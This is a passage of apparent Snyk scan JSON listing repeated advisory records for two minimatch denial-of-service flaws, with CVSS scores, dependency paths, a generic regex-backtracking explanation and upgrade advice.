Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub 